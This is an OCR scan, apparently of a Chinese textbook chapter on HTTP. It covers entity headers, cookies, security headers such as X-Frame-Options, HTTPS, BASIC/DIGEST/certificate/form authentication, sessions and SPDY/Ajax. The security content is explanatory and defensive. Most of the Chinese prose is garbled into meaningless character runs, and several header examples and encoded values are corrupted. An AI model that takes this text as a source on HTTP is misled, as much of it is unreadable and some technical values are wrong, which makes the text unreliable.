6.6.5 Content-Location

Content-Location: http://www.hackr.jp/index-ja.html

B 7B Content-Location 45 53R SC E AR B XF B K URI. F18 #5 Bt Location ~[F, Content-
Location 7R 2 3C 3 44k 1] B2 YRS BL Y URI.

tean, ¥ E 7B Accept-Language RS23RN ALER, 23R B ) TUTE P9 255 L BRE R X R
i, B ¥B Content-Location W58 URl. (i1 http://www.hackr.jp/ & [B] K5t S 4 &
http://www.hackr jp/index-ja.html 23481155

6.6.6 Content-MD5

Basefd {{il

Content-MD5:
OGFRZDUWNGVHNGY 3N2MxMD
IwZmQ4ANTEmY2 IyTY==

AR %28

B: ZPumanBlmm EEHATHRR MD5 5, K5 5HBFE Content-MD5 ¥ B H L5

Content-MD5: OGFkZDUWNGVhNGY3N2MxMDIwWZmQANTBmY2IyTY==

H B Content-MD5 & — &t MD5 SyEAIME, H B M7E TRER X EATEERITRE DR T REFT
%, URBiIMEREIE.

YRS EAR AT MDS HIEIRAG ) 128 £ — %, Filid Base64 /5K 455\ Content-MD5 7B
. BT HTTP E#Lidg Z#HlE, ATLAEEIE Basebd wiTa . NHRIRSTA B, 1ERERTT
BRI P S R SC E AR BT — IRAE R MD5 Sk . TR IE S FBUEELLEUR, BITTAIT RS AR
W

FAXMI R, SRR ERBRESERTNEIER, BEERNHEEESR. A —ANRBEET, AED
REEHHEL, AR REIRE Content-MDS5 AT EHi i+ HAREHRE L. Fr LAAESRWR B & 7 R oI


http://www.hackr.jp/
http://www.hackr.jp/index-ja.html

BIRBIR S AR DL B 37 Bt Content-MD5 & B &g B it 1.

6.6.7 Content-Range

LhERTLEL R

L3000 FFH. %
L

% ¥ 7 sooi~0000 TP
ol

HTTP/1.1 206 Partial Content

Date: Wed, 04 Jul 2012 07:28:03 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Type: image/jpeg

Content-Range: bytes 5001-10000/10000

BEXFEEE R, IR B SR RO B 3 B Content-Range, A 25 J125 P it 1 S SEIR [B] 1) 52 4 B R AN 38 43
FEVERETER. FBRENFET AL, FnUTTRIEH S LEALERAD.

6.6.8 Content-Type
Content-Type: text/html; charset=UTF-8

HH#FB Content-Type $i8I TS24k E R RGBT, FE T Accept —#, FBU{HH
type/subtype TR .

2% charset 1§ il is0-8859-1 B{ euc-jp & #4TIRE .

6.6.9 Expires



5 W RO A 1B B
wi2F 70 8

FEFRE S

Expires: Wed, 04 Jul 2012 ©8:26:05 GMT

BB Expires 20 BB R H & A% . BAFIRSS SRR BB & A H AT B Expires MRNE, £
PARTERIZIE R, 7 Expires 7 BUEIEE RN 257, MNKEIAS —HHRF. il iEE i EE,
F RS BT RIED RN, SR ARG SERBE.

TBRSS S3 A B AT RSS2 X PR GEAF I, BUIFFE Expires FERM BN 5 E#2B Date A R ] (.

B, HEHFEB Cache-Control F#&E max-age 1840, WAEEHFE Expires, &4 max-age 15

£,

6.6.10 Last-Modified

G HRE 0250 s BAERY

AR5 2

Last-Modified: Wed, 23 May 2012 ©9:59:55 GMT

HEB7 B Last-Modified #5 B IR B LB SR A] . — ek UE, XMERZ Request-URI $5 5E R IEH IS
B E] . (E2EAUE F CGI AR EAT S ASSE AR, 1248 A T Bk 2728 B EE R & AB o i B D



6.7 A Cookie k55 & #8 7 Bt

RS 5% 5 2 PRI Cookie, BARBA W AIRHEL HTTP/1.1 B RFC2616 H1, {H7E Web
SETTTERE] T BB .

Cookie I TAENLAIRM 7 IRAFREEHE. Web Muih T EHM KRS SIEL Web RIS, L3R
i NP TR . 35 2P U5 2 Web sk, Wl il i 45 77 sUH R 2 i A8 Cookie.

M Cookie i, BT A4 Cookie KIFH XM, LAKIIEATTHIE. B, HEER, BFrUlERRAK
Cookie P HI%HE AN £ B3k B HoAt Web 3t 3 0 X5t 2 ) 250 ik 2%

% 2013 4£ 5 A, Cookie HIMEARMESCREA LA 4 Fho
e 5 A B AR B R AR bR

WS (E A m Bt 3R T Cookie, Il M RIIMMEARHE. 1994 £EHTJG, Cookie IE 3L 7E M 53 b 8%
H. BRETERIE K H Cookie 772t LA A FEHE /T .

RFC2109

FeA b SR DS ER X Cookie MU BEATIRHEML S o JR A i R IR AR R I 5 2 =) 161 S O AR ERC EL M, T
HRETHMPHER. WEZREDRE T AMBRL.

RFC2965

N4 Internet Explorer Jl% 2% 5 Netscape Navigator HIFR#EZ R S BN W28 %, RFC2965 K& XL
T #H HTTP B & Set-Cookie2 # Cookie2. AI#sz b, EALFRELARNEH.

RFC6265
1 5 T 1 E AR AEVE ol B seAR#E (De facto standard) , E#75E X Cookie #5#: G HI=4 .

H i )2 i) Cookie #RAERIA R RFC H1E LHMER —A . TR 7E M5 A 7 i € bz LT3 R B K
Y.

AF BT R H a0 SN 2% K AR HEREAT LR
TR PNFI2 T 5 Cookie B XK E #FFE.
# 6-8: A Cookie RFEHHHFR

e &4 L] R3]
Set-Cookie FEERAE E T F i Cookiefs B T N B B

Cookie R %523 Bl B ¥ Cookief5 B WEREIFR



Set-Cookie &8

7% & 1 4 Cookie

ik %528

Cookie B

6.7.1 Set-Cookie

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 ©7:26:31 GMT; path=/; domain=.hackr.jp;

AR AR T IR EH AR P RSN, SEAGMEMER.
THMFEKEFE T Set-Cookie HIFBfE.

%* 6-9: Set-Cookie B )BH#

J& 1 i B
NAME=VALUE IR T Cookie &I (LFDD
expires=DATE Cookie HIA R &4 B# e & BRI\ i B 38 5% FT AT A kD
e W R 25 5% IS B A R Cookie fE X 8 G AR <2 U BRI SCRY
P FREERISCH B 7
. £ Cookie BN R4 CGEARHEEMERIANAIE Cookie RS
domain=1%4z
N R
Secure ANFE HTTPS &5 0 4 & Ri% Cookie
HttpOnly ICARR®], 4 Cookie AEEHE JavaScript MIA< v ]
expires J&tk

Cookie 1] expires J& 1415 & M Y5 35 7] &% Cookie HH 3.

L4 expires JRYER, HA B UR TR RS 215 (Session) WHRIBIA . X RT3 SN ARER
BRI o

7%5h, —BE Cookie MRS #sm A& % /7 b, M558 ik A2 AE AT LU s ER Cookie #7571 . BB
FOTHIR Cookie, SEBLXIZ F ¥ Cookie FISEJR MM BRERAE .



path & #

Cookie ] path J& {47 Fl T-FR i 52 Cookie f1A&IATE B # 3 B . Aid5HA IMERIT X BRI, F X
HARA 2N I BCR A B3 A B fr

domain J&#:

@it Cookie ¥y domain J& M T8 & HIIR 4 v B 545 BULES — 3. b, 4¥8%E example.com f5, B
example.com BL4k, www.example.com B, ww2.example.com Z:#5T] LL & i% Cookie.

Et, BT 4 Bk B 2 A48 K 1% Cookie 2 4F, A#E5E domain B BB FE 24,
secure B
Cookie K secure J& 1% TBR#| Web T AL HTTPS 4N, 47L& % Cookie.

&% Cookie I, ¥5E secure BT EM TR

Set-Cookie: name=value; secure

DA X 2478 https://www.example.com/ (HTTPS) %4 &E B M5 T 44 84T Cookie HIEIY. it
Ui, BNfEIR4 AR, http://mww.example.com/ (HTTP) A4 % 4 Cookie EWAT A .

8 WE secure JRMERT, ik HTTP i&& HTTPS, #fi4% Cookie #E4T[EUL.
HttpOnly J& #

Cookie H HttpOnly J& 1%/ Cookie KI¥ BIhAE, ‘Bf# JavaScript BIATi%E3K#E Cookie. HEE H KA IE
BEuE AT (Cross-site scripting, XSS) %t Cookie K15 B 57H .

Ki%ETE e HitpOnly 81 Cookie BT TR~
Set-Cookie: name=value; HttpOnly

B ERE, EE MM Web TUHE AER BAXT Cookie #EATEEUE:AE. {Bf#iH JavaScript ) document.cookie
TR E I HitpOnly J& 14 J5 i) Cookie IR T . Hitk, WL TEIETE XSS HF|H JavaScript #h3#F
Cookie T

BRI EINEE, 18 Internet Explorer 6 SP1 LA EfRAZS L FTHERN K RMELEIHFZIRT. B
AN — 32, Y RIHIER N T B 1k XSS MH R

6.7.2 Cookie
Cookie: status=enable

B ¥F B Cookie & MIRSEE, L& AMEIREG HTTP REEH TN, MOmEil R a8 WRS BRI
Ff Cookie. #WrF)£ 4~ Cookie i, FFEALLLAZ A Cookie LR K%



6.8 HMEBFER
HTTP ¥ ¥ BUZ T LB 7RI . T DAE Web FiSs SEAII KA MINEF b, & hBLEFh AT AE B B B2 Lo

BTk, AT — L5 0% B A Bt AT
e X-Frame-Options
¢ X-XSS-Protection
o DNT

o P3P
6.8.1 X-Frame-Options
X-Frame-Options: DENY

H ¥ B X-Frame-Options J&F HTTP MR & &8, FFHH M us A &2 7EH A Web M5 Frame F3%% A 1) &
N, HEBEHMZNTBHIESESR (clickjacking) ik«

B &7 Bt X-Frame-Options 7 LA T BiANET 45 & H) 7 B
o DENY : 4

e SAMEORIGIN : X [F¥EE4Z TR (Top-level-browsing-context) ILECHF¥FA . (Hhin, 4igE
http://hackr.jp/sample.html Ty SAMEORIGIN B, #8-4 hackr.jp LB TE 1 frame #4520 VF AT 0
BIZTME, 1M example.com ZH A A K THE AT 1)

FRZE BN ASE: Internet Explorer 8. Firefox 3.6.9+. Chrome 4.1.249.1042+. Safari 4+ £l
Opera 10.50+ 4. BAEFERMM M A E DL HF .

RE7EFTA 1) Web JR 55 %% 5% 7 46 ¥ € 1F X-Frame-Options B8 /& 5 B AR PR

%} apache2.conf [IAC B 32 4

<IfModule mod_headers.c>
Header append X-FRAME-OPTIONS "SAMEORIGIN"
</IfModule>

6.8.2 X-XSS-Protection

X-XSS-Protection: 1

7B X-XSS-Protection J& T HTTP MR & &, 'ER25 W EuMALE (XSS) M—Fxt %, H TN
BLAS XSS B AL TR

HEBE B X-XSS-Protection FJ#8 & I E BB T »
o 0: ¥ XSS iy i B MRS



o 1: ¥ XSS MR ERA RS

6.8.3 DNT

HREWKEHE
B sbinay!

DNT & #p

BB DNT BT HTTP iR &%, - DNT & Do Not Track HIfai#k, AL NG RBMkE, £RF
TR S B BRI —Fh T i

H B DNT e FBEMNT.
e 0: FREPUEER
o 1: EAPEER
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. oI _+ G £
ﬂE_ﬁ E 1 r. JI u .h g
s DR EENENEE
= 1R TR AR
= £ AE CRC ERdb R
ESd—HTERPR.
LB EFE—HTES
BaysiHae
bl 21 R el 1 B B
BT pre-rigaiar ?’Egggﬂggﬁg&
RBUERNE / st 4L T RC T AR
e e
R p:eol;rg:_lr{;r C) master seciet (R - e n
s oty ] amm }" #




1CBC#= (Cipher Block Chaining) X4 %54 HEER N, EMAT, KAl — 4S8 SCHun s kb 22 /5 R R — A B SCH iR
XOREZH, 2 ES, REFIEHERBINELIE. 38— ANPCREINER, BEAEHN—BECHBE 3, EafA
SMEBAE R YId R (initial vector, V) . —F#HE

e SSL Ml TLS
HTTPS f# f§ SSL (Secure Socket Layer) #1 TLS (Transport Layer Security) XML

SSL HiAR B i Y5 AT K 7 P 50E 15 A 7 R BE T, FFRE SSL3.0 ZaTifRA. HifESMD
¥#3| IETF (Internet Engineering Task Force, Internet THEE54H) HWFH.

IETF L SSL3.0 J&E:#E, /EX#IE T TLS1.0. TLS1.1 # TLS1.2. TSL /LA SSL AREBFF KEI ML,
A EG—WZWCh SSL. AT EFKIMRAZ SSL3.0 1 TLS1.0.

BT SSL1.0 MHYAE B 2 MR I T I, #BE ERBEA. SSL2.0 gl RIFLE R, Frid
TR 223 Y 2% B IR B T i W U A

o SSLEEBT

HTTPS thrfE— a8, AR =AM SSL i, EHABEEE LS.

[ EFHTIPS BT £, B P BNER
L fRBZWME, FAILE A CPURIRFSEH AR

' SSL '

HTTPiE K

HTTP o ¥

<

i [ FOHTTPIBSHE t, SSLIEE 4 MM B E, |
Z Pk TISSLIES 264y, X EHENEEHAT 0, i
| LBl £ REK T

B: HTTPS Lk HTTP Z18 2 % 100 £

SSL Hifg 2 Pidh. —FhRIRIEEIR. H—FREHTRKEEE CPURAFERE, FELCEEER
1&.

FER HTTP AHEL, M4 T A28 2 ) 100 £ . R TCP 3., RiX HTTP 3K « M LA
b, ELAHAT SSLIEME, BlhEfk bAEEE B g

7 riFE SSL SAUHEAT NG AL TR . FENRST A A P Al iR BT I AR IZ H AR . BlIAER b
Pk, R HTTP & 58 25 M F6 AR 5588 A P o B BE 1 DR, S BRI E .

BEP s AR — L, FFBCAMRA R R TT SR, BATSMA SSL e X (£HMSE) Bk
WL, 2B SSLB(E T M, MXTRMRYE, R iRm s SSL BT IR . {UAE SSL
ALBRIN 4% SSL S HIThRL, U SR



Rt 2 A—HEH HTTPS
BESR HTTPS IR %25, MAEFTHK Web FBEA—HE M HTTPS ?

Hoh—ANEER, FEASAXABEML, mEsESHEEEL K CPU KAFRIE. RS KIEEH
i, SWEFMAARZHBE, PRI GIHENL LR, SRR ALK REE L E SR .

Fik, wmRE2ESBEBNER HTTP @R, RAEEREMME BES8UREERN, FFIH HTTPS %
.

R R 2 TR ey 1R B B Web WSk 7E BEAT I Ab BRI, ENIPT RIS M G MR, BTN
WAL, JFAEXPTE AR AT N AL B, TR N A AR R B B RN A 2, DU BR.

0

&

1f797c042d91297d9dd
9d71b09b66alf...

mEfRR R EY
KB LTI~

AR %5 25
Bribz sh, MEE LM STIER T R R E 2 —.

BT HTTPS J815, EBRVLAT K. MAEHEKAERL IR AENE (CA) WE. IEBMERTHRS
RIEA R K VET AR E AR BF, —ERENTEEZTHT GUE—THITRLHE 600 AR
(DI

IR LLIE AL F5 3 A A SR S5 DA S — 2N A, 7T g iR HTTP @ {5 77 e



B 8E  WiNUiH M, B4 HINE

H2 Web TUH R ABLRE RN, BE FHRNAANT R HEBXABiR, LA DHH A NEDRE.
THBAT— R EE S — T IAENLH .




8.1 fIRIAIE

TR G TR W AR TE BR ST E K S0, P, RREHIANSRILATE . T, A
T B AT FRS S, BT8R 5w E R K T.

A, SR IEFE VT F RS A HIX T AR E CRueno, SR TR M AT MBI . AN ueno AR
BEMAAVIHRAGHBR, SREENEREAASMENER . "ERERANLTSHREL.

XI5 BB H R U T X L.

o HEW: REXAAFCRENTFRERR.

o FHBFLM: URAAFEHRENERH —KEEH.
o BFET: MWRAN (B HFENER.

o HEYPAIE: MANMLEEAANERRFS.

o ICF%: MRAAFEHNER.

$#2 L% HePRR
XXXXXX. 1R g%, £ %o
WPl TRk kR
d A JaB?

B, BENFRBENHAS, RERETHPRIE, BAtESaSBARE BRANNT N, FHik, ¥
LR BRGNS D], AR 5 s B g ik

HTTP £ A i N E 7 5%

HTTP/1.1 S RAE T R FFs .

e BASIC AiE (FEAIE)

o DIGESTiAiE (3 ZEAiE)

o SSL Z& P Uik iE

e FormBase WiE (ZTERHINIE)

A, EH Windows 4i—iliE (Keberos INiE. NTLMAE) , {EABAER R,



8.2 BASICiAiE

BASIC iMIE (FEAINIE) 2 HTTP/.0 5t 5E SURIATE T o BIE R ILLETIA — H843 A il 23 FH IX PR AAEE
Tik. f& Web k4588 53815 5% 7 i Z (A BEAT BATETT e

BASIC A il i E 25 B
RIKTE K
GET /private/ HTTP/1.1
Host: hackr.jp
IR ELIRZSED 401 USRI P ik BEFTIAF

HTTP/1.1 401 Authorization Required

Date: Mon, 19 Sep 2011 08:38:32 GMT

Server: Apache/2.2.3 (Unix)

WWW-Authenticate: Basic realm="Input Your ID and Password."

@ 1D f1Z 5 1 Baseb4 77 = A0 S £ ik
@ guest:guest — Base64 — Z3VIc3Q6Z3VIc3Q=
E_\ GET /private/ HTTP/1.1

Host: hackr.jp
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

GIAERLTh F IR BRSNS 200, EIAGE Sk AR BLR 7 ES 401

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 08:38:35 GMT
Server: Apache/2.2.3 (Unix)

&|: BASIC i\ iEHEE

ST, HERPEIEFTE BASIC MER, RE#REBERER 401 Authorization Required, & [EIH WWW-
Authenticate & & FB MMM .. ZFBENESINERFR (BASIC) & Request-URI %438 544
(realm) .

BB 2. BWEPRST 401 9% P8 T8 BASIC WE, FEKAF D REBRELRE R RENF
FFEANERBMS ID MELER, WERERUES (O E#&E, B4 Base64d FiHE,

R ID N guest, FHR guest, HEEERMESH L guest:guest XK FRF . R/54T Baseb4 %i
5, a4 RN Z3VIc3Q6Z3VIc3Q=. IX & F/FH 5 NEH#FB Authorization J&, Ki%ZiER.

L REX RN, HANERARS D MELET, 25, WEHRe A3 5ERE Base64 Jif ik
TAE.



RPN e T x

@)  brosmocsio memeaiEE,

BR&E: || |
B8 | |

| mz | ma

BB 3. B RE S E M Authorization RSS2, <A IERS BRIEFERTIRIE. MK,
MR B — 288 Request-URI % I8 i B .

BASIC AiE B ARR A Base64 4ifigJr X, HIXARME LI, NFHEEMMME ST HgEE. R52,
BT ISR E R A 1D AR, £ HTTP SR i@ E ML s LT BASIC IMERIERES, mRHEA
BIVT, W HE AT BEEAR

F5h, BRI ZSMEFE BT — K BASIC AIERS, —RHIN SAS &0 VA LA TEE S B, MR R Z —.

BASIC MEf#F EABESRE R G, HXABIZH Web MMM Z&tER, FHWEHAEH.



8.3 DIGEST \iE

AYR#M BASIC INETERISS s, M HTTP/.A #2sh s T DIGEST iAiE. DIGEST AEFIFEAE FH R # / B2
7730 (challenge/response) , {HALE BASIC WIIEARFE B K i% I SC BT .

PriBB AN T R RETE, — TP — R RIBNEE RS 5 —T7, BE NS — T &S K A i 5
A R SERG o Fo R R R R [B] 40 0 T AT AR B 77

;_,,! INFER N
B -
Fi5
<
M E
0 A 0] R7 45 "
S

B A R 3 4 8 7 B9 R ) L3 2 e e B VRS P AR TSR, BT LAEKES BASIC AT, 85 AD it 58 i T At P
1’7,

DIGEST A ilf B\ iE 25 B
KiFEK
Q =® | GET /digest/ HTTP/1.1
E\ Host: hackr.jp
B P O&ZE LB HIFAG( BEHLEL, nonce )IARAEFFEINEL
IRZSHG 401

HTTP/1.1 401 Authorization Required : J
WWW-Authenticate: Digest realm="DIGEST", ]

nonce="MOSQZ0itBAA=44abb6784ccIchic605a500893d36f23de Ak 5528
95fcff', algorithm=MD5, gop="auth"

@ QEEBEM R B AETTE ! A908 A5 ( response )

E\ GET /digest/ HTTP/1.1

Host: hackr.jp
Authorization: Digest username="guest", realm="DIGEST",
nonce="MOSQZ0itBAA=44abb6784ccIchfc605a5b0893d36f23de95f
cff', uri="/digest/", algorithm=MD5,
response="df56389ba3f7c52e9d7551115d67472f", qop=auth,
nc=00000001, cnonce="082c875dcb2car40"

GINERTHIR BURZS RS 200, 5K BN BEOR & IZR AL 401

HTTP/1.1 200 OK

Authentication-Info:
rspauth="f218e9ddb407a3d16f2f7d2c4097e900",
cnonce="082c875dcb2ca740", nc=00000001, gop=auth




Bl: DIGEST A iEREE

SB A1 ERFWEREERN, REBSBERSG 401 Authorization Required, & [l WWW-
Authenticate & #=ZBBIMIR. . %5 B LA 5 1) 0 B2 07 RAUAE BT 7% I B R 080 (BEALEL, nonce) .

BB WWW-Authenticate F 44,8 realm 1 nonce X BN FERIE B . 257 3 5t R 4K 52 19 IR 55 2% [H] 3%
XFEAME BT NIRRT .

nonce A& — g IR [E1 T 401 Wi BLAE AR A AE R BENL 745 8 o %7 B 8 W HETE ) Base64 i3+t
HH BRI, (B SEBR P9 AR 528 1 B AR S

BB 2. HWE] 401 REFIIE S 3, IR B S AL A DIGEST AEX AU & #5%B Authorization 15
B.

B &5 B Authorization WA Zi4 & username. realm. nonce. uri #l response KIFB&ER. HF, realm
F1 nonce 2 Z B AR 55 35 B2 W 21 1) ma B Hh 1R 2 B

username 7 realm PR & i Bl 3 AT AT IAE R F P 44 o

uri (digest-uri) B Request-URI ({8, {HE%REZ R KRG Request-URI IMEFTREH B, HitEke
S — BB AR uri

response AT {§ Request-Digest, & T MD5 EH G I H 7 7F5, TE R RS

W B HAB RS2k S LS 6 ISR ¥ 7 B Authorization. H4h, 7% 5% Request-Digest B
HE, BXNEBIERESPIRNF]—TF RFC2617.

SB 3. EIBIEEEHFE Authorization R IVRS 2%, SBUGMERS BREMME. MBS E R E G
% Request-URI 5 10 B .

It HiX 2 7E B #5 Bt Authentication-Info B A\ — s\ iF BT FIAE 5615 B .

DIGEST ME#RHE T # T BASIC NIERI 2254, HRM HTTPS % 2 i iEAM 3 IH/R 5. DIGEST A
TESRBERT 1L RSB 53 0T AR L, (B AAEAE B L P Dh 2 iR AR B

DIGEST MERI BASIC ME—#, A EARMAMHERE, HIETEIZ % Web Fux w5 % 2 &S HIIE
SRARE. TR E R 3E F Y A P 2 R



8.4 SSL & uiliE

MR P ID MRS RIE T RO ER T, REZFMAAIESH, WMTEREARNTA. HORAF D
MR, MRFUREE=FER. R SSL &/ M\ UEN 7T LU S 2 L R A

SSL Z& FmiMER & i HTTPS M F il B8 RINER TR BEF A WIES (£ HTTPS —& ¥R A
E, RS SAIHIAYG R TR A BRI b

8.4.1 SSL &/ S ihiE i N E 5 3R

HikE| SSL &P HIMER B K, RERSKEFSIEBSREE W, B b3 ik,

BB BRBIFEMERERER, REB/LKE Certificate Request 30, ZRE P iR 4t & F ik
ail

BB 2. APBRERRANEFWIERE, &Pt R iiE 55 8L Client Certificate 307 R %%
IR 5585«

@s i

mE [yEmE | S

B EnRA

ETERRRARET
~EURE-EANeE
= BEUA T D R
&0, 6. G, 1LV L PO
B, G Al LT

= AREEIE, BRI TR

WMEE: erory- bt

oEN- WnriSige Clans 7 Pstoeswd En'ldiSwkies 551
BeL LA

FERY EEZ M- M OB OEET 8-

BEAEEE
T EREn

B: mEEFRESRH (ZFRK UFJ RIT)
BB 3. RS BWAEE S IE B IR UEIEE 5 77 AT SHGE £ N & S iR A TS, RIETTIE HTTPS fn il

Ho

8.4.2 SSL % F ¥ kK A WA & A E

ELZHEBERT, SSL B MINEASMNRFEEBRRINE, —BSMETFRAINE REEHE A&5ER—
MXHEZINE (Two-factor authentication) RAEH . FHEXNHERWIERZHE, NELEH AT EELX—
MHE, EFERFNEERERCFEERS, NTIEAS—AREK, SHAEFHNERR.

B}E 2, B MNEFERK SSL % /7 ik 45 SRR P 3t 50, 53— MR 3 B3 55 0 AR 2 X 2



RPAENKATA.

BN E RS, T UAA AR A 7 245 A IEZE 56 DT BC IEA IR T S0 7 IR 55 8% -
8.4.3 SSL % /3wl uE o Z 1 3%

fEF SSL & PIEREABIZ FIIE. TiZFSEBREN —E AR

ZERAEMFARE, NNENMBETE P EEBR R, DRSS FHZEZE HRIEE CERKNENE R
BB RN

FMMENBURE P SHEB R SRAAR AR, FRE—KIES L, —ERAAUGEUAET. RES
BEHEGIUE CERIAENG, (EZEERFRZEBTRE™ NS



8.5 ETRHINIE

HETRBRVETEIHRRE HTTP il 2 Ui . B M miRS 2 i Web BB REEFZELR
(Credential) , #8335 B HIRIEL RINE.

HRIE Web B FIFEFF HSEFR 225, SR AP F i ZOMEDT A& A

Geacil s e

Google B{RATHR AN,

Gmadl PIFREEEE | STREETEN R, RETE | =] -

i, S , Gmad AL | Congle R
HkR RAE:|
#I0 Google MIBIFEATLIB BT QAR ¥

3k, pab T e rom

e
FiEEN

FIEHE R AMTRE http:/gmail.com | WETL € RER RS
EEATEEY FEREGmad, TREITIN T

AR EEhEEnes
B TA9T, 296475 MB { EEFEISID ) BT
T8

WA Gmailt SRR
WD | MALREREE R TR, THESEE TTHEL SEReHE

ZF Groall  SiSTEE

B: EFRPINIERH (Google)

ZHBEHT, MACELEEZNHP D CBY 2 EREMFH SRt MELEERELE, Ri%E% Web
MARERF, EFIMELERIENER TR .

8.5.1 NIEL ¥ ANEFRHBIE

T L EFIE R 2R, HTTP B ilthaEsR 4 BASIC IAIEA DIGEST MEJLEAEAMEM. 5
b, SSL Z P ailME BRRAF RENZEER, HENSARERF RS, EHRE L.

tedn SSH M FTP #hilt, Mgt 5% 7 i 2 M KAER & FARERTER, JFBHR T REARN AT R LK
ZEMGAGA, B S RIAERT ISR B . (E25 T Web FUSERIAETIRE, A R H 24
PGS AR RS I A AETE, FTCL RSPt Web MR /7 & B SL L T REHHMET K.

AR &SRR R BIGE, £ Web W REISB S AHEHZI TR WREZEETE R oM
RE SCBLA R BAE, MABREAERENZEES. BAERBVIERSZI PR R Web W52 2
A

8.5.2 Session & K Cookie R

EFRPINERRERE ARG E®, —MEH Cookie SKEH Session (£1F) .



HTRPINEA & R IEE RS S H Web R, H% i & kA 1D AR5 2 5 8 ol 45 B
UCHE SR BEAT AIE ] o

B%TF HTTP 2RREWI, Z S WERIKAE P RELEBE S HRTE TR, B, BELIREE
H, HEIE S T RS, EEX M SHARKAF . FREBAISME A Cookie REH
Session, LPAFRFN HTTP WP AEERPRSE HIhRE .

B P55
Q) XFEEEXEE (HFID, &) "
7 | m AP &3 Session
(2) %1% B % Session IDIKCookie ID, iLFIMERE
Set-Cookie: PHPSESSID=028a8c...;
&
(3) %1% 8124 Session IDHICookie i Ji %&JE Ses;ion
Cookie: PHPSESSID=028a8c... D3R HIE S 75 2 K
7\ L H

. Session & ¥ & Cookie RAEEH

BB F/WIEHA, ID MEREERE BBARS LA, BHERZL POST JHEIEERAES RS
Ao TIXE, 2 HTTPS @5 R#AT HTML 3 5 m 1 ) B AR P e A\ B0 i R0

$B 2. IREBRESKRBFALLRRE 1 Session ID. BT RAE M 5 K1 KK B F1E BT S AE,
ARG P MRS 5 Session ID 485 510 78 IR 55 233

[ 2 P iR Rl R R, 237 1 B B Set-Cookie WS A Session ID (i1 PHPSESSID=028a8c...) -
YRAT LA Session ID A Gk —F0F AX 53 AR A HEALS .

SRT, 2R Session ID B =T di, X I7mE T CAONE ARAREN B G EAT B R ERAE T o [RILAA B 1E Session
ID %1%, BHSFH. AT MEIX A, Session ID LA FIXE LAHE K375 8, ELIRSS &3 th /& ZEBEAT A BOHIK
B, MEHZEN.

A5, RBEBIMAR S (XSS) EAKIIRA, BWFEAE Cookie AL httponly J& 1.

B} 3. BRI MRS 235 K KK Session ID J5, £ HAEK Cookie fREEAEAM. TIRIAIRS 2K
PEIERN, WEERSAB K% Cookie, FTLL Session ID B RiEFIIRS 2. ARG 2% i W] @I I8 1E B0 2
Session ID RHIH P FHERE

BT LA AN S, B R AR R T B R

F5h, AMUETRANERERGE B SOAES AR TR R T7i%, B 558% N 0 f GR 77 F 2 3RS I G 45
BRAE BHFMBAEL.



B, —FRSNEREER, RAASHELNE (salt) 1Ky RMMBSME B, FEERES (hash) R
THHHBOVEERE. ERRINMEEE D EERE VI SCEDRIBEE, XA RE B0 i KX

W o

1 salt F st h RS S PN AR — AN F /8, ERERIEKEZRBK, HFHRIIEMIAERK. REEENELFR S HE
B RUEHTTLD EREFIE. AR ERT RGN, TR RE saltEARR, SR EEME 0 — AR
KRR, ARKFRE LD TEFRE, Bk & Wt REF A B CF SR FE TR . —F#TE



#O9E HET HTTP [ThaEE bl

BAR HTTP Wil B s X s, [ERENARRRE, LoaMH ERERNKESEENE. RERIK
FREET HTTP Hr B ThsEp il




9.1 ET HTTP Wil

TEENL HTTP SRERITERT, 9T R BRI HTTP H{Ef% HTML SCRYMIPL. BEERARI AR, Web
FRE AL, B RELEMEE. SNS (Social Networking Service, #HAM%IRSE) A
LSNP SMHEETH, 5%,

T3 2 o0 3 T8 SR B D BE T S Web B2 I RUAIATE 7K. BIMX DR CAW R RoR, M ARG
P, ZRE HTTP Bl ERIBR I LR B S A A R .

HTTP Zhfe LA R s B8 — B2 R BCR IR . T2 B ATET HTTP 9 Web 31 %5 8% ¢ I 1 8% ©il
ark, BFLTEREMFE HTTP. A — SN 2R T HTTP X, JREEERE B3N T3 HIThRe.



9.2 B HTTP Ja%i i SPDY

Google 7£ 2010 kA T SPDY (ELH SPeeDY, k&M speedy) , HIFR BirBIEMHR HTTP HItEREE
M, 4% Web TUHE FIMERE A (50%)

e SPDY - The Chromium Projects
http://www.chromium.org/spdy/

9.2.1 HTTP MEH

7E Facebook 1 Twitter %8 SNS M3 |, JLFREB LN MZIEEHA P AFRAHNE, X2 —F 58,
YJLE JLTAMAP RANER, Web PN T RFXEHIBANE, ERENNENRSRERXRBHNE
EH.

AT RATRESER BRI BRI A, IRSES LA NATER, R EERIEI A R BIE  h 5
L. BAGRKER AR, E HTTP HTEZE AT X TUES

fE/H HTTP Bh R MR 5 2% LR BH AR, MUSURENE - mBI RS Smt T il mRRSSE
BANEREY, Waar Lk KEE.

HIBFEIA Web LT HRRITIARE, LT IXLE HTTP frdEmt & MO E.
o —HEEERWRE-NMEK.
o ERRBMNEFWRITM. &5 5 AT DLE kR ma B USR5 4 .
e WRIMMEBREEHERRKE. HIHRESBEEEBEAK.
o REMKKER. BREHAXEHRANEHERNRARS .
o WMAERKERBEESER. FRHEESHRIE.


http://www.chromium.org/spdy/

—

TERBHEMN,
HETEIE =L
BRER

%

0fg K7

[%Rﬂﬁﬁﬁﬁﬁﬁ%é#}
7SS

Bl: CAHTH HTTP @13
Ajax [ figt g 75

Ajax (Asynchronous JavaScript and XML, 5 2 JavaScript 5 XML $AR) &—FiG 2/ JavaScript 1
DOM (Document Object Model, SCRYXT SR [#fE, BLIAE] I Web TUH & # N0 720 @ E F B .
MULRTRE @ EME, BT e RER—5 T, w0 EE & S Ekmmsd, X—RA RS
M.

Ajax FIZ AR R %A XMLHttpRequest K API, @it JavaScript IS E 5 i F 3R AR 55 28 3E 4T HTTP
s, EBHXFHFE, HEENTINEEERN Web Rl EREIER, REHRIMWIE.

A Ajax S MR 55 883K 2, A RES FECREIE RS A 55, Aax PRk HTTP thillh 577
7 H 1]



ﬁ\
0 R
<AHEHBSRE
ST RESETR >
ok
—>
BRGLALHIRGEY) I —
0 Y IR
B
PR
H Ajax ﬁfﬁ
Comet IR 77

—ERFHMmANAENRT, Comet NeibiFRER;, MABEESZ Wik BN . X2 —FiE TR
&, BHASEIUR S S i & 7 itk (Server Push) HIZhEE.

B, RS auERENER, EAEE R ERR L ENRRINR, (HAT ERARIIRE, Comet &5k mi s B
THARS, LRFSHMA WA, FREZWM, Fit, RSSn—BEFEN, bzl ke
J 3o

